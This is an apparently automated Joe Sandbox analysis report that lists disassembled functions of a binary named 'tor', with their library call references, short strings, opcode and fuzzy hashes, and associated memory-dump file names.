Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortlocaltimememcpy
String ID: $
API String ID: 1567290103-3993045852
Opcode ID: aac93698cbe99d361c278f53b5f9be732c8f7ad6484ae8f985f7af6e684a5137
Instruction ID: 891e384f2b8c6bdfe1dc379228138c7e5237d73f4101f5dec54e4c5639450317
Opcode Fuzzy Hash: aac93698cbe99d361c278f53b5f9be732c8f7ad6484ae8f985f7af6e684a5137
Instruction Fuzzy Hash: 8811B3B490431ADFDB40EFA8C8846AEBBF5BF49244F40892EE894AB200D7789544DF52

Uniqueness

Uniqueness Score: -1.00%

Function 01564401 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01564454
malloc.MSVCRT ref: 0156446C
exit.MSVCRT ref: 015644AD
__stack_chk_fail.LIBSSP-0 ref: 015644C0

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

@, xrefs: 01564492

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortexitmalloc
String ID: @
API String ID: 797983458-2766056989
Opcode ID: b79bb6c4b180f8a9a754cbd7b71f207f4d1c0f5bef3374d7cda292927615d665
Instruction ID: 96e2aabc8775ab837bbab3ff31afcbc385b83a727a9ead5d2b2d30ad1715e4b5
Opcode Fuzzy Hash: b79bb6c4b180f8a9a754cbd7b71f207f4d1c0f5bef3374d7cda292927615d665
Instruction Fuzzy Hash: 1D11FBB0905316DFDB40AFA5C84836EBBF4BF44315F40891DD8A4AB340D7789685CF92

Uniqueness

Uniqueness Score: -1.00%

Function 01564771 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 015647C1
_strdup.MSVCRT ref: 015647CC
exit.MSVCRT ref: 0156480D
__stack_chk_fail.LIBSSP-0 ref: 01564820

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

@, xrefs: 015647F2

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$_strdupabortexit
String ID: @
API String ID: 2722030861-2766056989
Opcode ID: 5ba19476e60bbadf76b4cc6fbaf072a88041a078282f88bb72ab7a6af13ac0a0
Instruction ID: 602d2cc7d4aa574d439dff1775cbb3191d17c586fef75fa1b53b71039a91d751
Opcode Fuzzy Hash: 5ba19476e60bbadf76b4cc6fbaf072a88041a078282f88bb72ab7a6af13ac0a0
Instruction Fuzzy Hash: 911127B09083169FDB40EFA5C8482AEBBF4BF40354F40891D98949B240E7789645CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0155B305 Relevance: 7.7, APIs: 5, Instructions: 166COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0155B36E
abort.MSVCRT ref: 0155B3AD
abort.MSVCRT ref: 0155B4BD
abort.MSVCRT ref: 0155B57D
__stack_chk_fail.LIBSSP-0 ref: 0155B590

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort$__stack_chk_fail$strrchr
String ID:
API String ID: 1113427550-0
Opcode ID: f63e8f8504ff366603924d566f8602a5e136586d863e26bc47fbd85a2164cc50
Instruction ID: 7bd665b6afb82a097853ed1a825a07af878a0901b3de4c913bc067295ce93b93
Opcode Fuzzy Hash: f63e8f8504ff366603924d566f8602a5e136586d863e26bc47fbd85a2164cc50
Instruction Fuzzy Hash: 6C71E6B0905206DFCB54DFA8C5986AEBBF2BF44314F10895EE894AB340D734D985CF62

Uniqueness

Uniqueness Score: -1.00%

Function 01569096 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

_stati64.MSVCRT ref: 01569130
free.MSVCRT ref: 01569143
__stack_chk_fail.LIBSSP-0 ref: 015691E7

Strings

N/A, xrefs: 01569099, 0156909A

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail_stati64free
String ID: N/A
API String ID: 2740781178-2525114547
Opcode ID: d54002977fc5d800dd7f939f53d210e6bd49b3213220a700f9bd37e09bbaf349
Instruction ID: 318e1f32344f9dfc3cace8f75e96fe9ed690c36a2b687713155770368c96746b
Opcode Fuzzy Hash: d54002977fc5d800dd7f939f53d210e6bd49b3213220a700f9bd37e09bbaf349
Instruction Fuzzy Hash: E1411874A04609CFDB10DFA9C8447ADBBF8FB45318F10882AE954EB340D635D9468B91

Uniqueness

Uniqueness Score: -1.00%

Function 0155B184 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 0155B1EA
__stack_chk_fail.LIBSSP-0 ref: 0155B2FE

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Part of subcall function 0155A5D7: abort.MSVCRT ref: 0155A636
Part of subcall function 0155A5D7: abort.MSVCRT ref: 0155A679
Part of subcall function 0155A5D7: __stack_chk_fail.LIBSSP-0 ref: 0155A731

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 0155B2EB

Strings

G', xrefs: 0155B219

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abort$strrchr$send
String ID: G'
API String ID: 4093867158-1542159958
Opcode ID: 5a3fd3b0fbacc9eddda940ea764f681d9a447e1088e6b72e85f8c12f482d5ad7
Instruction ID: 84b547b755206aa07ead27906e156c4d40c2080f51630dc1cff328b26b950bc8
Opcode Fuzzy Hash: 5a3fd3b0fbacc9eddda940ea764f681d9a447e1088e6b72e85f8c12f482d5ad7
Instruction Fuzzy Hash: 8241E6B490420ADFCB90DFA8C5986AEBBF1BF48354F10895EE854AB340D774D944CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0155CE4F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0155CEA8
memset.MSVCRT ref: 0155CF40
__stack_chk_fail.LIBSSP-0 ref: 0155CF5A

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

M, xrefs: 0155CE98

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortmemset
String ID: M
API String ID: 4235535680-3664761504
Opcode ID: 8da82242a646f20dc8abda6c38ec7a3de22461aa8876c5b45d415d25fc5b0bf6
Instruction ID: c1e0e48ac4ffd1540b8e09ced7e148f4b315db1ab24293f8cd7551d044b2fae6
Opcode Fuzzy Hash: 8da82242a646f20dc8abda6c38ec7a3de22461aa8876c5b45d415d25fc5b0bf6
Instruction Fuzzy Hash: 0331A3B4A0421ADFCB50DFA8C8849AEBBF4BF49310F40895AE864EB350D738E941DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0155AEC4 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0155AF3A

Part of subcall function 01559B4E: __stack_chk_fail.LIBSSP-0 ref: 01559D08

Part of subcall function 01559D10: __stack_chk_fail.LIBSSP-0 ref: 01559D53

abort.MSVCRT ref: 0155AF79
__stack_chk_fail.LIBSSP-0 ref: 0155B17D

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 0155B14D

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abort$strrchr
String ID:
API String ID: 797389190-0
Opcode ID: 84acefb56649447018fef126ee173adb98359dd8194b2e006d43654db2bcbc94
Instruction ID: 79d94cddad09d97023d030bf1b22a700f9a67164e560af50f99d5fac0972cb95
Opcode Fuzzy Hash: 84acefb56649447018fef126ee173adb98359dd8194b2e006d43654db2bcbc94
Instruction Fuzzy Hash: 9981C5B4905206DFCB90DFA8C59869EBBF1BF44314F108A5AE8A4EB350D738D941CF52

Uniqueness

Uniqueness Score: -1.00%

Function 01564827 Relevance: 6.1, APIs: 4, Instructions: 59stringCOMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01585B2D), ref: 0156487D
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01585B2D), ref: 015648BF
strncpy.MSVCRT ref: 015648E9
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01585B2D), ref: 01564907

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$strncpy
String ID:
API String ID: 4131076314-0
Opcode ID: 246ae78d450d6c6e09adb5fbbf437925e3804b8093eb9b66aed6bf99987a9ece
Instruction ID: f76dd048f7417ce39d87b20257b76264b5b0adac42fd9288c266015405552125
Opcode Fuzzy Hash: 246ae78d450d6c6e09adb5fbbf437925e3804b8093eb9b66aed6bf99987a9ece
Instruction Fuzzy Hash: 9A21A5B49043169FCF44EFA9C8856AEBBF4BF44358F00891DE8949B340E7389545DF66

Uniqueness

Uniqueness Score: -1.00%

Function 0156BDEC Relevance: 6.1, APIs: 4, Instructions: 58stringlibraryCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0156BE3C
strcat.MSVCRT ref: 0156BE99
LoadLibraryA.KERNEL32 ref: 0156BEAC
__stack_chk_fail.LIBSSP-0 ref: 0156BEBC

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: LibraryLoad__stack_chk_failstrcatstrlen
String ID:
API String ID: 317683016-0
Opcode ID: 0d8ee873d0943554bc40a94643272159d67e54d5908b40d00384ea2ebb5adb06
Instruction ID: 6726e0cc20c73f156eed8df7dc2db94202dc0dee7ec755ed9116873ec207011e
Opcode Fuzzy Hash: 0d8ee873d0943554bc40a94643272159d67e54d5908b40d00384ea2ebb5adb06
Instruction Fuzzy Hash: F721E571A002188FCB24EF68C8457DDBBF5FB49314F0185A9D668DB340E674AE858F92

Uniqueness

Uniqueness Score: -1.00%

Function 0156490E Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015530CB), ref: 01564967
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015530CB), ref: 015649A6
memcpy.MSVCRT ref: 015649CD
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015530CB), ref: 015649E0

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$memcpy
String ID:
API String ID: 4055433727-0
Opcode ID: 5ea5ca85006a770d3957e1d1a6d31a97e247a625fb898d496d0769a5f9866269
Instruction ID: e025f1a5e14725be60aae9d637d92b93598656f09ebd6410aa17f46e8dfd6d6e
Opcode Fuzzy Hash: 5ea5ca85006a770d3957e1d1a6d31a97e247a625fb898d496d0769a5f9866269
Instruction Fuzzy Hash: 0C21B8B4905316DFCB40EFA9C8846AEBBF4BF48354F40891DE894AB300E7389585DF66

Uniqueness

Uniqueness Score: -1.00%

Function 0140966C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 0140987B

Part of subcall function 0155CD27: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,0155381D), ref: 0155CD85

Part of subcall function 01561F4B: abort.MSVCRT ref: 01561F9B
Part of subcall function 01561F4B: __stack_chk_fail.LIBSSP-0 ref: 01561FB6

Part of subcall function 015622F3: __stack_chk_fail.LIBSSP-0 ref: 0156231E

free.MSVCRT ref: 01409830

Part of subcall function 015523EC: __stack_chk_fail.LIBSSP-0 ref: 0155245C

Strings

. Top reasons:, xrefs: 01409760

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
